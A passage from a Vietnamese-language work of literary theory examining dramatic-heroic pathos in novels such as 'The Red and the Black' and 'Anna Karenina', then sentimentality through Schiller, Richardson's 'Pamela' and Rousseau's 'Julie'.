Cũng như vậy là xung đột trong “Thiên anh hùng ca về binh đoàn Igo”, ở đây trong mức độ lớn việc miêu tả cuộc hành quân quả cảm, riêng lẻ và vì vậy khó tránh khỏi thất bại của Igo và Vxevôlôđ trên thảo nguyên cùng với cuộc chiến đấu ba ngày anh hùng của họ với người Pôlôp(1), kết thúc bằng thất bại nặng nề thấm đượm tính kịch đó từ đầu đã ở trong những linh cảm và tiên đoán nặng nề về tai họa không tránh khỏi, còn sau đó chuyển vào những lời quở mắng cùng những lời ca thán đắng cay về sự hy sinh toàn bộ đội thân binh của họ, về tổn thất to lớn mà chúng đã mang lại cho toàn thể đất nước Nga.
Trong “Tarát Bunba” của Gôgôn thì không có những linh cảm và ca thán mang tính kịch từ phía người kể truyện nhưng cái xung đột quân sự cơ bản của truyện vừa này thì mang tính kịch anh hùng. Tính kịch xuất hiện nơi truyện ở đoạn giữa của nó – trong những dấu hiệu báo trước đầu tiên của sự thất bại đang đến gần của quân Kadắc dưới thành pháo đài Đúpnô, còn sau đó thì tất cả cứ tăng mạnh lên – thông qua cảnh xử tử Ôxtap trước lúc kết thúc, trước sự hy sinh anh dũng mãnh liệt của Tarát.
Tất cả điều đó là những xung đột tính kịch – anh hùng rút ra từ đời sống dân cư của những nước khác nhau trong trình độ phát triển của nó mà được gọi là “thế kỷ anh hùng”. Nhưng tính kịch đôi khi lại nằm trong những xung đột liên quan đến đời sống cá nhân của những nhân vật tác phẩm anh hùng ca. Đó là những xung đột tương tự với xung đột mà ta đã thấy trong kịch (đram) “Phêđra” của Raxin nhưng có lúc còn sâu sắc hơn nhiều theo bản chất của mình.
Chẳng hạn như xung đột của tiểu thuyết “Đỏ và đen” của Xtăngđan. Ngay từ đầu của phát triển hành động thì tình cảm của Luyxiêng Xôren đã ẩn giấu một kịch tính lớn. Là con người xuất thân từ tầng lớp dưới, đồng thời có bản tính rất tích cực với những nhu cầu đời sống to lớn, Giuyliêng trong sâu thẳm tâm hồn thù địch gay gắt tất cả lối sống tư sản quý tộc mà anh ta va chạm với nó ở Vêrier và về sau ở Paris. Sự say mê thầm kín cá tính Napôlêông và những truyền thống dân chủ chống phong kiến bắt nguồn ừ cách mạng 1789 mà chúng được thể hiện trong cá tính ấy đối với Giuyliêng nói lên điều đó.
Nhưng đồng thời cái cuộc sống dựa trên sự nổi danh và giàu có lại hấp dẫn nó. Và trong điều kiện của thời đại phản động Giuyliêng không thể, không biết tìm những con đường khác cho việc thỏa mãn những khát vọng hiếu danh cá nhân ngang bướng bồn chồn của mình ngoại trừ bước hoạn lộ cá nhân dựa vào ảnh hưởng và sự ủng hộ của những gia đình quý tộc có đặc quyền mà anh ta cần phải phục vụ ở đó và trong hoàn cảnh ở những gia đình ấy nó khao khát củng cố vị thế của mình bằng những âm mưu ái tình. Trong sự gần gũi của mình với Matinđa đờ La Mông, Giuyliêng không ngừng lúc lắc mũi nhọn con dao và hình như xích gần sát đến mục đích của mình – gia nhập vào giới quý tộc, kiếm được mặc dù chỉ là cái bề ngoài giả dối của sự quyền quý, giàu có và từ đó có được sự tự chủ, tự do. Nhưng cái kết thúc có kịch tính bề ngoài đột ngột do Xtăngđan tạo ra trong xung đột của tiểu thuyết chiều sâu tâm lý to lớn đã làm lộ rõ cái mâu thuẫn kịch tính bên trong thường xuyên tồn tại trong tâm hồn Giuyliêng: sự sẵn sàng đứng cao lên trên cái thế giới tư sản quý tộc phản động và thù địch với anh ta, trên cơ sở những nguyên tắc đạo đức pháp quyền đẳng cấp của chính cái thế giới ấy. Phát súng báo thù của Giuyliêng vào Đơ Rênan, cái tư thế dũng cảm có vẻ khiêu khích của chàng ở tòa án và việc kết án tử hình chàng bắt nguồn từ đó – tất cả điều đó là cách biểu đạt cốt truyện phóng đại sắc sảo của kịch tính bên trong của cả cuộc đời nhân vật.
Một ví dụ khác không ít tính kịch hơn về cảm hứng của mình là tiểu thuyết “Anna Karênhia” của L.Tônxtôi. Như mọi người đều biết là thông qua Anna, Tônxtôi trước tiên muốn trình bày sự biểu hiện suy đồi đạo đức trầm trọng của xã hội quý tộc, sự tổn thất của hư đốn riêng tư bị lên án không bởi tòa án con người mà tòa án chúa trời. Nếu như ý đồ ấy đã được thực hiện thì tiểu thuyết theo cảm hứng của mình đã rơi vào xu hướng đạo đức ngây thơ và rất thiên vị.
Nhưng Tônxtôi đã dần thay đổi “quan niệm” nghệ thuật tác phẩm của mình (mặc dù dấu vết xuất phát vẫn còn lại trong đó). Anna càng ngày càng trở thành không phải là người xấu xa nhất về đạo đức, mà là người phụ nữ đại diện tốt nhất cho quan niệm mới: nàng bị gả chồng nhưng không biết tình yêu chân chính, yêu Vrônxki bằng mối tình chân thành, sâu sắc và dừng lại trên con đường đau khổ không vì chính bản thân mà vì sự cô độc đạo đức, vì dư luận xã hội đã bắt nàng phải chịu giả đạo đức trên con đường đó. Đồng thời Anna như một phụ nữ có chồng, phản bội chồng, một mình gánh chịu toàn bộ sự nặng nề đầy ải của mình (còn đối với Vrônxki như một đàn ông chưa vợ, điều đó ít đụng chạm tới), trong khi bị sự tù hãm của những quan niệm hẹp hòi thuộc đẳng cấp quý tộc của mình, nàng đã bối rối trong quan hệ cá nhân của mình với Vrônxki. Trong khi sợ đánh mất một con người duy nhất mà toàn bộ phẩm hạnh đạo đức riêng của nàng đã dựa vào tình yêu của người ấy, nàng đã rơi vào tình trạng bức xúc tâm lý nặng nề và điều đó đã đưa nàng tới cái chết. Nghĩa là sự xung đột bắt nguồn từ đó với Vrônxki đã dẫn Anna đến tự sát chứ không phải là cuộc đấu tranh của tình cảm và nghĩa vụ trong tâm hồn cô ta. Cuộc đấu tranh như vậy chỉ thức tỉnh khi nàng bị bệnh nặng và nhanh chóng biến mất khi nàng khỏe trở lại và bỏ đi với người yêu, ra khỏi nhà người chồng mà nàng không yêu và khinh thường.
Những tác phẩm cùng với những biến dạng tương tự của những xung đột trong đời sống công dân và cá nhân đã được tạo dựng tiếp tục cho đến tận thời đại chúng ta. Chẳng hạn như xung đột kịch tính – anh hùng của truyện vừa “Chiến bại” của Phađêép là cuộc chiến đấu của đội quân du kích Lêvinxơn với những lực lượng phản cách mạng và bọn can thiệp – một cuộc đấu tranh đòi hỏi lòng quả cảm phi thường và có mục đích chính trị rõ ràng nhưng đã đưa đội du kích đến thất bại gần như hoàn toàn.
Xung đột cũng mang tính kịch sâu sắc trong tiểu thuyết của nhà văn Đức P.Sanliuk, có nhan đề theo tên nhân vật chính và của người kể chuyện là “Enghenberg Râyneke”. Cơ sở của xung đột là cuộc đấu tranh tuy ngấm ngầm nhưng dũng cảm và kiên cường của người giáo viên trung học có tư tưởng tự do là Râyneke, cha của người kể chuyện, với chủ nghĩa phát xít, với việc cấm phát ngôn và ách trấn áp mọi mặt của nó, vì trí tuệ và con tim của thanh niên. Râyneke nhận xét những bài học của thơ Hainơ, cho học sinh làm bài văn về đề tài tự do, từ chối treo cờ phát xít trên nhà mình, dẫn con ban đêm ra xem nhà thờ Do Thái bốc cháy bởi bọn phát xít. Đối lập với ông là hiệu trưởng mới của nhà trường, là Đônđerman – người mang cái luồng lãng mạn vào tư tưởng của chủ nghĩa phát xít, là người anh Paun của nó – một tên phát xít thô bạo và công khai, là con trai hiệu trưởng Digphrich, thành viên trung kiên của “thiếu niên Hítle”. Cuộc đấu tranh không ngừng diễn ra giữa thầy và trò; gia đình và bạn bè của Râykên, những người hiểu rằng cuộc đấu tranh sẽ kết thúc ra sao đều nài nỉ để cho ông che dấu đi nhưng ông ta vẫn giữ nguyên cương vị đạo đức của mình. Điên khùng đối với yêu cầu của thầy Đigphrid tố giác thầy và Râyneke bị bắt trước mặt gia đình và đã hy sinh vì bị tra tấn ở Bukhenvan. Tất cả điều đó ở quá khứ nhưng tất cả đều sống trong trí nhớ và ý thức của Enghenbert – là người trong thời gian sau chiến tranh trở thành giáo viên ở ngay cái trường mà cha anh đã làm việc và là một sự trách móc thầm lặng không chịu nổi đối với tất cả đồng nghiệp của anh, những người muốn bưng bít và quên quá khứ. Vượt qua sự quyến rũ đi từ thành phố thân yêu, anh giống như người cha đã ở lại đó để cùng với sự giúp đỡ của các giáo viên trẻ khác bắt đầu cuộc đấu tranh với những tàn dư của cái ác đang đầu độc mọi người.
Tính kịch như vậy có trong các tác phẩm nghệ thuật kịch và sử thi.
________________
Tất cả các biến thể của cảm hứng được xem xét ở trên – cái anh hùng, cái anh hùng bi kịch và có tính kịch, cái bi kịch và cái tính kịch đều chứa trong mình một bản chất chung. Chúng được sinh ra bởi những xung đột bên trong và bên ngoài được biểu hiện trong những hành động tích cực và gắn với chúng là những xúc cảm của các nhân vật. Nhưng có những biến thể khác của cảm hứng mà chúng cũng thường gắn với những hành động xung đột nhưng lại tạo ra trong bản chất của mình không phải là chúng mà là sự mâu thuẫn chung của các tính cách của các nhân vật, của cuộc sống của chúng và của ý thức của chúng. Và để cho cái mâu thuẫn chung đó được nhận thức, đánh giá bởi ai đó thì cần phải đặt những tiền đề tư tưởng và xã hội xác định trong các xã hội – dân tộc.
Liên quan tới những biến dạng ấy của cảm hứng trước hết là tính đa cảm và tính lãng mạn.

IV. Tính đa cảm
Việc làm sáng tỏ cảm hứng của tính đa cảm cũng đòi hỏi một số sự phân chia giới hạn thuật ngữ bước đầu. Tính đa cảm dễ bị đánh đồng với “chủ nghĩa tình cảm” như một trào lưu văn học hoặc chính xác hơn là những trào lưu xuất hiện trong văn học Tây Âu giữa và nửa sau thế kỷ XVIII, còn ở văn học Nga thì vào cuối thế kỷ XVIII. Chính trong văn học của chủ nghĩa tình cảm đã tạo cơ sở và tên gọi lần đầu tiên cảm hứng tính đa cảm. Nhưng từ đó không thể cho rằng cảm hứng như vậy không bao giờ xuất hiện trong các tác phẩm văn học trước khi xuất hiện chủ nghĩa tình cảm hoặc là nó không thể tồn tại trong chúng cả sau khi trào lưu chủ nghĩa tình cảm đã đi vào quá khứ lịch sử.
Tính đa cảm cần phân biệt từ phía khác với tính nhạy cảm thuần tuý đơn giản. Tính nhạy cảm có thể xuất hiện ở con người từ tính dễ bực tức và yếu đuối thần kinh. Nó có thể bộc lộ ở con người trong trường hợp một sự vui mừng nào đó của nó hoặc những lời khen ngợi đối với nó từ phía ai đó và trong phút khoái chí được gợi nên bởi những hoàn cảnh công dân hoặc cá nhân và trong cả những sự kiện buồn bã, nặng nề nào đó v.v…
Tính đa cam là một trạng thái phức tạp hơn, về cơ bản kích thích sự hiểu biết tư tưởng của sự mâu thuẫn nhất định trong tính cách xã hội của con người. Tính nhạy cảm là hiện tượng tâm lý cá nhân còn tính đa cảm có ý nghĩa nhận thức – khái quát.
Khi làm rõ bản chất của tính đa cảm cần giữ nguyên trong các giới hạn sự phân cấp chung những giá trị đạo đức mà đã được nêu trước đây cho việc giải quyết tất cả các vấn đề cơ bản của cảm hứng và trong đó chúng ta đã hướng vào hiểu thấu đáo lại theo đúng bản chất một loạt mệnh đề lý luận nghệ thuật của Hêghen.
Tính đa cảm của xúc động xuất hiện ở con người khi nó biểu lộ ra trước bản thân khả năng nhận thức trong cái không quan trọng bề ngoài của đời sống những người khác nhưng đôi khi cả trong cuộc sống riêng của mình một cái gì đó bên trong có ý nghĩa, trong cái không xứng đáng bề ngoài của cuộc sống ấy – một phẩm chất đạo đức bên trong đang là nguyên tắc siêu cá nhân giản dị nhất của sự sống con người chân chính. Sự giác ngộ như vậy kích thích tình cảm xúc động tâm hồn, tình cảm của tính mủi lòng.
Từ đó trở nên rõ ràng rằng tính đa cảm giống như sự đánh giá xúc động của các tính cách người trong sự mâu thuẫn đã chỉ ra của chúng và tiếp theo như cảm hứng của sự thấu hiếu đời sống từ phương diện ấy của nó đòi hỏi nơi chính chủ thể của sự đánh giá như vậy không chỉ một trình độ tương đối cao của phát triển tinh thần (những biến thể khác của cảm hứng đòi hỏi nó trong mức độ này hay mức độ khác). Tính đa cảm đồng thời đòi hỏi ở chủ thể một khả năng tâm lý – tư tưởng mà có thể gọi là sự phản xạ xúc cảm – tâm hồn.
Khả năng phản xạ tâm hồn xuất hiện trong những lớp văn hóa tương đối của các xã hội dân tộc khác nhau một cách lịch sử và nhìn theo sự so sánh vào thời kỳ muộn hơn của sự phát triển của chúng. Khả năng như vậy đã xuất hiện ở mức độ lớn chỉ khi nào đời sống xã hội của nhân dân này hay khác đã bước vào thời kỳ của mình mà thường gọi là thời đại Phục Hưng. Đó là thời đại tan rã của chế độ phong kiến và sự phát triển sâu sắc, nhanh chóng nhiều hay ít những quan hệ tư sản, đối với thời đó là tiến bộ. Nó hợp thức hóa vững chắc – đẳng cấp, giáo hội, phường bạn v.v… mà chúng dựa trên cơ sở những quan hệ quyền uy, trên sự phụ thuộc tư tưởng – đạo đức của thế hệ sinh sau với những nguyên tắc cũ hơn, cùng với tất cả ngay đối với một số tập quán và sự hợp thức hóa chung và vì thế đã cào bằng nguyên tắc cá nhân và sáng kiến cá nhân. Trong những điều kiện phát triển các quan hệ tư sản đã xuất hiện những khả năng của một loại nào đó của sáng kiến cá nhân và tính tích cực trong những lĩnh vực khác nhau của đời sống xã hội. Và trên cơ sở đó đã xuất hiện quá trình giải phóng tư tưởng của cá nhân khỏi những tiêu chuẩn tư duy quyền uy cùng nền nếp tình cảm và quan niệm phù hợp.
Trên trình độ ấy của đời sống xã hội trong ý thức các tầng lớp xã hội tiên tiến và phát triển trí tuệ đã dần xuất hiện một đặc điểm mới là sự quan tâm tư tưởng tới trạng thái đạo đức của cá nhân mình, tới thế giới bên trong của nó, hướng vào sự tự suy ngẫm và tự phân tích.
Nhưng thế giới quan tư tưởng hàm chứa trong mình khả năng phản xạ xúc cảm và trí tuệ là một cơ sở trong đó với những điều kiện nhất định có thể xuất hiện thái độ đa cảm đối với cuộc sống và tiếp tục là cảm hứng đa cảm của tác phẩm.
Những điều kiện như vậy trong mức độ đầy đặn đã xuất hiện một cách lịch sử muộn hơn nhiều khi trật tự pháp quyền phong kiến cũ tại các nước Tây Âu đã bước vào thời kỳ khủng hoảng chung của mình, khi những quan hệ tư sản mới từ bên trong đã vượt lên trên lối sống cũ của đời sống xã hội ở các dân tộc khác nhau và trình độ khác nhau. Điều đó đã xảy ra ở Anh, Pháp, Đức trong cả thế kỷ XVIII. Trong văn học nghệ thuật những nước ấy khi đó đã xuất hiện những trào lưu mà được gọi là chủ nghĩa tình cảm.
F. Sinler là một trong những nhà lý luận của chủ nghĩa tình cảm Đức tiến bộ theo lý tưởng của mình. Trong bài báo “Thơ ca tình cảm và hồn nhiên” (1796) ông đã nói lên quan niệm của mình của đặc điểm nội dung của văn học tình cảm kể cả mặt mạnh lẫn mặt yếu. Điều cơ bản thấy được trong bài báo ấy là Sinler đã không chỉ nói tới những đặc điểm cụ thể của chủ nghĩa tình cảm Đức hay của một dân tộc khác mà còn đề cập tới bản chất chung của cảm hứng của tính đa cảm nói chung. Ví như ông đã xem nhà thơ La mã Gôraxia là “người sáng lập thực sự của thơ ca tình cảm” – “nhà thơ của thế kỷ văn minh và hư hỏng” ngợi ca “niềm hoan lạc ngọt ngào của Tibuar của mình”(1).
Lòng ham thích sự dung dị, hồn nhiên chất phác của cuộc sống thiên nhiên và sự sống con người giữa thiên nhiên, tình say đắm tất cả điều đó từ phía những con người bị khốn khổ và xô đẩy khỏi cuộc sống văn minh và hư hỏng bởi những tệ nạn và sự lạm dụng của nó, theo Sinler là nội dung cơ bản của thơ ca “đa cảm”. Ông phân biệt nó với thơ ca “chất phác” là thứ thơ ca do những dân tộc cổ xưa không biết đến nền văn minh, không bị hư hỏng bởi nó, tạo ra và vì thế đã không hướng vào tìm kiếm một phản đề cho nó trong toàn bộ tự nhiên trinh bạc. Những dân tộc đó đã sống trong một cuộc sống tự nhiên với tất cả sự dung dị, hồn nhiên và đã miêu tả nó trong thơ ca của ông. Ở người Hy Lạp cổ đại – Sinler cho rằng – đã không có “một sự ham thích đa cảm mà với nó chúng ta… xông vào nhau một cách tham lam trên sân khấu”; “nó đã không quyến luyến với nó (tức là thiên nhiên. G.P) với sự chân thành, đa tình, phiền muộn ngọt ngào giống như những người mới chúng ta” (485).
Nếu người sáng tác thơ ca “chất phác” sống “trong dung dị tự nhiên” và trong tác phẩm của mình “cũng chỉ là một thiên nhiên giản dị” thì nhà thơ “tình cảm” đang sống “trong trạng thái nền văn minh, nơi mà sự hài hòa của bản tính người hàm chứa chỉ trong ý tưởng”. Trong những điều kiện như thế thì “việc xây dựng hiện thực đạt đến lý tưởng tạo nên sức mạnh của nhà thơ” và nó chỉ “phản ánh cái ấn tượng được tạo ra cho nó bởi đối tượng và trên sự phản ánh đó tạo ra cái mà chính nó xúc động và buộc chúng ta trở nên mủi lòng” (488 – 489). Đối với anh ta thì thiên nhiên đó là “đối tượng của nỗi u buồn” bởi vì nó “phô bày mất mát” (492); nó “than khóc thiên nhiên hình như một cái gì đó đã tồn tại và bây giờ bị mất đi” (493). “Sức mạnh của nó ở chỗ bổ khuyết cái đối tượng không đầy đủ từ chính bản thân” (499). Vì thế cho nên theo Sinler, trong “thơ ca chất phác” “sự phản xạ không bao giờ tham dự” và do đó, sự phản xạ có ý nghĩa lớn trong thơ ca “tình cảm”.
Lập luận của Sinler về thi ca “tình cảm” có ý nghĩa hiển nhiên trong mối quan hệ mà ở những lập luận đó hiện ra rõ ràng không chỉ những đặc điểm của chính những xúc động tình cảm mà cả việc chúng được sinh ra một cách lịch sử như thế nào”.
Sinler đã không đúng khi cho rằng những bản chất của đời sống con người mà chúng ta có thể gợi lên ở con người những khí sắc tình cảm, cần phải hoàn toàn đi vào quá khứ lịch sử còn ở trong xã hội văn minh phát triển thì có thể được thực hiện chỉ trong tư tưởng nghệ thuật hoặc trong nỗi “u buồn” thi ca về “tuổi thơ” nhân loại đã mất mát, hoặc là ngược lại, trong sự khao khát tới “sự trưởng thành” tương lai của nó được hình dung như là lý tưởng.
Nhưng khi gán cho tư tưởng của Sinler ý nghĩa mở rộng, cần nói rằng tính đa cảm đã xuất hiện khi đời sống xã hội có tính chất phác, tự nhiên, có sự toàn vẹn đạo đức và trong sạch trong toàn thể hay của những giai tầng riêng lẻ của nó đã đi vào quá khứ hoặc đã bị đẩy ra vùng xa trung tâm những quan hệ xã hội và đã nằm trong sự khinh bỉ. Đối với sự xuất hiện thế giới quan đa cảm cũng cần đặt trong những nhóm nào đó của xã hội sống cuộc đời văn minh, đã xuất hiện sự bất bình sâu sắc với sự hư hỏng và tồi tệ của nó, để cho những nhóm xã hội ấy tìm cho mình sự mãn nguyện tư tưởng đạo đức trong khát vọng về một cuộc sống tự nhiên, trong sạch và toàn vẹn đạo đức, bị xem thường hoặc đã đi vào quá khứ.
Như kinh nghiệm văn học châu Âu thế kỷ XVIII chỉ rõ các nhà văn tình cảm thường tìm thấy đối tượng của sự nhạy cảm và phản xạ cảm xúc của mình trong những tính cách những người đồng thời của mình. Trong phần lớn các trường hợp đó là những người thuộc dưới đáy xã hội hoặc những tầng lớp xã hội đã lưu giữ trong mình những tàn tích lỗi thời. Chúng đã biểu hiện ở những mức độ này hay mức độ khác trong đời sống của mình, trong những quan hệ, những xúc cảm sự trong sạch đạo đức và sự tự nhiên, đức khiêm tốn và chân thành. Sự nhận thức và khẳng định tư tưởng những mặt đó của sự sinh tồn của chúng đã là một loại khám phá nghệ thuật của các nhà văn muốn thoát khỏi những thói xấu của xã hội văn minh trong sự tưởng tượng của mình. Sự không hư hỏng và sự tự nhiên của cuộc sống những người giản dị tầm thường đã thành đối tượng phản xạ cảm xúc ở các nhà văn ấy, đã gợi lên trong tâm hồn họ sự mẫn cảm và “nỗi buồn ngọt ngào”.
Nhưng thỉnh thoảng những nhà văn ấy, đặc biệt là những người sáng tác thơ ca trữ tình đã khát khao đi tìm những bản chất lý tưởng giống như vậy của cuộc sống trong chính bản thân mình. Đối với họ khi đó đối tượng của phản xạ xúc cảm tư tưởng – nghệ thuật là những xúc cảm đạo đức riêng của họ. Họ đã tìm kiếm và vun xới trong bản thân những mong muốn một cuộc sống dung dị, chất phác, tự nhiên và đối lập với những ao ước tạo ra trong cuộc sống những quan hệ xã hội văn minh. Sự phân loại sáng tác những tính cách xã hội trong tư duy và đánh giá chúng như vậy đã tạo ra những tác phẩm nghệ thuật đa cảm theo nhiệt hứng của mình.
Nhược điểm của lý luận văn học đa cảm ở Sinler là đã tập trung một cách đặc biệt và hoàn toàn vào việc giải thích phương diện chủ quan của nội dung tác phẩm mà không chú ý đúng mức đến phương diện khách quan của nó. Ông đã nói nhiều về sự mẫn cảm sự xúc động, “nỗi buồn ngọt ngào” của nhà thơ. Nhưng ông đã không chỉ ra những đặc tính của những tính cách người mà chúng khêu gợi lên những xúc động đó, không chỉ ra những mâu thuẫn giữa cái không đáng kể bên ngoài, cái nhẫn nhục đời sống của chúng với cái có ý nghĩa đạo đức bên trong của toàn bộ đặc tính của đời sống. Cái mâu thuẫn như vậy đã là đối tượng cơ bản của phản xạ đa cảm.
Tác phẩm đầu tiên của chủ nghĩa tình cảm Anh là tiểu thuyết của X.Risarxơn “Pamela hay là đạo đức ban tặng” (1740). Nó gồm những bức thơ của cô gái trẻ, đẹp xuất thân từ một gia đình nghèo gửi cho cha mẹ. Xung đột của tiểu thuyết ở chỗ Pamela thấy trong sự giúp đỡ của nhà điền chủ giàu có là những cố gắng giành được tình yêu từ phía chủ nhà của mình – điền chủ B. và nàng rất đau khổ vì điều đó. Nhưng tin tưởng sâu sắc vào tầm cao đạo đức và sức mạnh phẩm hạnh cùng sự trong trắng, mặc cho sự thô kệch và kiên gan theo đuổi của chủ nhà, nàng không chiều anh ta khi anh ta chưa quyết định cưới nàng. Nhiệt hứng của tính đa cảm của tiểu thuyết bộc lộ ở chỗ Pamela và những người thông cảm với cô và chính tác giả đã suy nghĩ một cách nhạy cảm về tình trạng bị áp bức và không lối thoát của cô, về lòng kiên trì đáng ngạc nhiên của cô và sức mạnh của ấn tượng mà tất cả điều đó gây ra cho họ. “Toàn bộ cuốn sách này thấm đẫm tình cảm, khi đọc nó, không thể không có sự thông cảm hoàn cảnh trong những đau khổ của cô ta”. “Sự ngọt ngào đã chảy vào toàn bộ tình cảm của tôi khi đọc những bức thư của nàng” – tác giả viết trong thư gửi nhà xuất bản, – “Lời chúa nhân từ! Hãy đưa con về túp lều đơn sơ nơi con đã sinh ra, nơi mà những nỗi đau buồn to lớn nhất sẽ cho con niềm vui so với tất cả những gì con phải chịu lúc này”, – Pamela đã viết. Hoặc: “Quý bà Gierxixơ giơ tay lên và chảy nước mắt nói rằng: “Chúa ban phước lành cho con Pamela dễ mến, con là niềm vui vĩ đại trong nỗi đau khổ của ta, làm sao ta có thể nghĩ là biệt ly cùng con…” v.v…
Cảm hứng đa cảm đã được biểu đạt rành mạch hơn nữa trong văn học tiền phong Pháp giữa thế kỷ XVIII, đặc biệt trong tiểu thuyết “Iulia, hay là Eloida mới” của J.J. Rútxô. Và ở đây hình thức trao đổi thư từ mà tác giả tiểu thuyết đã chọn không thể nào khám phá tốt hơn sự thấu hiểu phản xạ – cảm xúc của thế giới nội tâm của mình bởi các nhân vật chính. Nhưng một mặt khác thì hình thức ấy trong mức độ lớn nhất khắc phục được sự bày tỏ những điều kiện và hoàn cảnh bên ngoài của sự tồn tại xã hội của chúng dẫu sao cũng rất quan trọng là cần am hiểu.
Tất cả các đặc điểm và sự phát triển của quan hệ yêu đương giữa Iulia, cô gái của gia đình quý tộc giàu có, danh tiếng với thầy Xăng Pre của cô là người không tên tuổi và tài sản, được chế ước bởi sự bất bình đẳng xã hội sâu sắc của họ. Thoạt đầu, với lòng yêu mến chân thành lẫn nhau, họ buộc phải hiểu rằng đó là một cái gì hoàn toàn không thể dung thứ và đáng bị buộc tội nghiêm khắc nhất từ phía gia đình và của cả môi trường đẳng cấp mà Iulia ở trong đó. Và họ buộc phải che giấu, bí mật trao đổi thơ từ, họa hoằn mới gặp nhau tay đôi một cách ngẫu nhiên và thường xuyên hồi hộp trước khi người ta phát hiện, vạch trần họ và bắt họ phải chia lìa.
Để làm việc này, có rất nhiều lý do. Người bạn gái của Iulia là Klara cho rằng không thể nào mà “nam tước Đờ Etangiơ bằng lòng tặng cô con gái của mình…cho một người không có dòng họ thế tộc; “Iulia cũng nghĩ rằng” một người quý tộc kiêu hãnh không thể nghĩ rằng một người không được ai biết lại yêu con gái của mình”; và chính nam tước vững tin rằng tên tuổi của mình bị mất vẻ huy hoàng và bị phủ lên điều ô nhục nếu ông cho phép con gái mình kết hôn “một kẻ vô gia cư không ai biết”, thấp hèn “sống bằng của bố thí”.
Những người yêu nhau rất căm giận những quan điểm ấy, họ đối chiếu chúng với toàn bộ quan điểm xã hội, tất nhiên về cơ bản là bắt nguồn từ tác giả. Trong quan điểm của nam tước cha Iulia, họ thấy sự biểu hiện những thành kiến đẳng cấp quý tộc, họ xem thường cuộc sống quý tộc với những quy tắc với sự nghiêm khắc của nó. “Không, sự lăng xăng quý tộc không nuôi sống con tim. Giữa những niềm vui giả tạo nó cảm thấy cay đắng hơn, bị tước mất những niềm vui chân thành…” – Xăng Pre viết. “Những hành kiến – là con quỷ thực sự của địa ngục, – Iulia trả lời, – chúng làm hư hỏng những trái tim tốt nhất, luôn hãm lại tiếng nói của tự nhiên”. Biết người cha định bụng cương quyết bắt cô lấy chồng, Iulia với lòng công phẫn thốt lện: “Vậy là cha đã bán tôi? Đứa con gái đối với ông là hàng hóa, nô tỳ, nó… báo đáp cuộc đời mình bằng cuộc sống của tôi…”.
Iulia và bạn trai của cô biết tình yêu của mình như biểu hiện của tự nhiên và tự do, đối lập lại với sự thành kiến và cưỡng bức quý tộc của cô. “Bất chấp sự không bình đẳng của hoàn cảnh chúng ta, bất chấp cha mẹ và chính chúng ta, vận mệnh của chúng ta thống trị mãi…”. “Sự cao cả của con người không phù hợp vào đẳng cấp và ai không có lòng tự trong người đó không tìm được hạnh phúc”, – Iulia viết. “Nó là vật hiến sinh của các thành kiến, – Xăng Pre nhận xét về chính bản thân, – và những nguyên tắc phi lý dựng lên vật chắn không vượt qua được đối với những khát vọng chân chính của trái tim chàng”, “Những mâu thuẫn không thể chịu được làm sao giữa tinh thần cao thượng và tình trạng xã hội thấp kém!” – chàng thốt lên.
Trong khi bị ngăn cản tình cảm bởi những quan niệm khắc nghiệt, hai người yêu nhau ấy lý tưởng hóa cuộc sống tự nhiên, dung dị giữa thiên nhiên. Xăng Pre nhận xét rằng “sự vô lễ quý tộc” sắp đặt những cạm bẫy trước “sự thuần phác nông thôn”, chàng đã muốn sống với Iulia “trong những vùng không ai biết đến”, không bị phù hợp vào “dư luận của con người”; chàng yêu thích cuộc sống nông dân trong vùng núi Vale – “cuộc sống của nhân dân hạnh phúc và giản dị”. Iulia mệnh danh tình yêu và niềm tin là “những người bạn nông thôn bình dị”. Milord Eđuard – người bảo trợ cho cặp người yêu mời họ dọn đến ở trong “vùng đất trù phú yên lành, nơi không có lối cho những thành kiến đê tiện”, nơi “những người khai khẩn yêu hiền hòa vẫn còn giữ được lối sống thuần phác của sơ khai…”.
Tất cả đặc tính xúc cảm trìu mến nhất của các nhân vật và những sự giác ngộ cảm động của họ đều bắt nguồn từ những tương phản đạo đức và xã hội ấy. Họ lý tưởng hóa tình yêu của mình và tin tưởng rằng tình cảm của họ bắt nguồn từ ái lực tâm hồn họ được ơn trên đã định từ trước “Chúng ta được định sẵn cho nhau, – Xăng Pre viết, – đó là ý chí bất di bất dịch của trời, là quy tắc cao cả mà chúng ta cần phải phục tùng”. Họ vững tin sẽ yêu nhau đến chết, suốt đời và thấy trong tình cảm của mình sự biểu hiện của cái tự nhiên, trinh bạch, đức hạnh mà chúng phân biệt họ với những người của giới quý tộc”. “Đức hạnh của anh là nơi nương tựa cuối cùng của sự trinh bạch của em”. “Tất cả sự đáng yêu liên kết con tim đối với chúng ta gắn chặt với sự đáng yêu của lòng trinh bạch”, – Iulia viết, còn người bạn của cô thì cảm phục “sự kết hợp đức hạnh, tình yêu và cái tự nhiên” trong cô. Những người tình đau khổ vì sự thất vọng của tình cảm mình, buộc họ buồn nản và chảy đầy nước mắt. “Tất cả làm tôi lo lắng và đi tới buồn chán… Hình như không có duyên cớ để khóc nhưng những giọt nước mắt không chủ tâm cứ từ mắt trào ra”, – Iulia viết. “Cả trăm lần trong ngày tôi sẵn sàng chạy tới chân em để tưới ướt chúng bằng những giòng nước mắt…”, – Xăng Pre viết. Và trong những đau đớn nhất của mình họ cảm thấy vị ngọt ngào của chúng. “Tất cả điều đó đã khêu gợi nơi tôi một nỗi buồn xao xuyến nào đó – nhưng nó tràn đầy sức quyết tử đối với trái tim mẫn cảm”, – Xăng Pre tự thừa nhận. “Anh có biết không, – Iulia viết, – biết bao sự dịu dàng đánh thức nỗi buồn trong tim cũng như tình yêu lớn lên cùng với sự sầu thương”. Tất cả góp phần phát triển ở họ phản xạ cảm xúc và khả năng suy nghĩ về tình cảm của mình. “Đi sâu vào bản thân em sẽ tức khắc đoán trúng cái thiện và tặng thưởng cái đẹp”, – Xăng Pre khẳng định. “Tâm hồn em thấm đẫm xúc động – và điều đó đôi khi đã an ủi em. Nghĩa là tiếng nói dịu dàng của thiên nhiên còn chưa hoàn toàn tắt lặng trong trái tim em”, – Iulia suy nghĩ. Trong tất cả những xúc động mẫn cảm ấy của Iulia và bạn trai của nàng, trong sự tự ý thức xã hội được sinh ra của họ, tác giả hoàn toàn ở về phía họ. Cảm hứng đa cảm của các nhân vật tiểu thuyết thể hiện sự khẳng định tư tưởng những tính cách xã hội của chúng từ phía nhà văn.
